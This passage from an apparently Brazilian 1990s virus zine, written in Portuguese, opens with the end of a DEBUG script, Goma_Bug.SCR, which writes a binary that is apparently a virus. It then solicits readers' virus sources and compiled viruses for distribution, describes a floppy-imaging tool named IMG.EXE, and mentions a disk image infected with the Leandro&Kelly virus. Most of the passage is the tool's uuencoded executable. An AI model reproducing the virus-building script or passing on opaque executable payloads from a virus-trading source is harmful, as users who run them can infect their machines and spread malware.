E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 45 20 4F 
E 0640 20 56 
RCX
0542
W
Q
;;;;;;;;;;;;;;;;; Goma_Bug.SCR ;;;;;;;;;;;;;;;;;;;;;;;

                                                                             
        Bom Acho que e' so' isso. Se voce tem ai um virus nacional, na sua
   colecao, ou voce cria alguns virus, mande sua fonte, ou seu virus compi-
   lado para que ele possa ser distribuido juntamente com o nosso zine.

 
 
                                  ___  .     
                           |   |   |   |  |    
                           |___|   |   |  |___ 

 

       
        4 -  IMG.EXE    Copia e Restaura Imagens de Disquetes 
       
                                                                            
Arquivo: IMG.EXE 
Descricao: Copia disquetes (Imagem) para arquivo
Shareware : Copia nao registrada e sem qualquer documentacao
Proveniente de : Mandic Bbs (ano 1992)
Distribuido por: Nim_Bus@Hotmail.com

        Programado em C ++ em meados de 1992 (nao creio que tenha sido 
  alguem na mandic que o fez, creio que apenas o ripou, mas que se foda
  o programa ta ai e  muito til para suas copias de programas que de-
  vem ocupar lugares pre-determindados em discos, como o boot por exem-
  plo ...
        O Programa que recebi nao continha qualquer tipo de documenta-
  cao, sinto por esse fato, mas quanto a isso nada pude fazer, agradeo
  ao Alevirus (Fernanda88@hotmail.com) pelo programa e pela imagem de 
  um disco infectado com o virus Leandro&Kelly ...
        A utilizacao do programa  extremamente simples, bastando voce
  seguir a sintaxe :

        IMG [Comando] [Nome_do_arquivo.IMG] [Drive]

        Os Comandos vlidos nessa versao nao registrada so:

        A -> Transferir a Imagem do disquete especificado em [Drive]
        e compacta-la .

        S -> Copiar o disquete integralmente especificado em [Drive]

        X -> Restaura a Imagem [Nome_do_arquivo.IMG] para o disquete
        em [Drive]

        Exemplo:

        Para copiar uma imagem de um disquete :

        IMG a GomaBoot.IMG a:

        Sera criada no local (diretorio) que voce se encontra a imagem 
        do disquete e se chamara GomaBoot.IMG. 

        Para restaurar uma imagem em um disquete:

        IMG x GomaBoot.IMG a:

Direitos Reservados 
a nao sei quem ...
Se forem seus, favor mandar um e-mail com a documentacao original, 
ou alguma nova versao do mesmo...

                                                       Nim_Bus@hotmail.com

        Segue na sequencia o IMG.UUE (Img.Exe UUencodado)

   
                          ___         ___   ___    __    ___
               |  | |  | |__   |\ |  |     |   |  |  \  |__
               |__| |__| |___  | \|  |___  |___|  |__/  |___
  
   

;;;;;;;;;;;;;;;;;;;;;;; Img.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
begin 600 img.exe
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
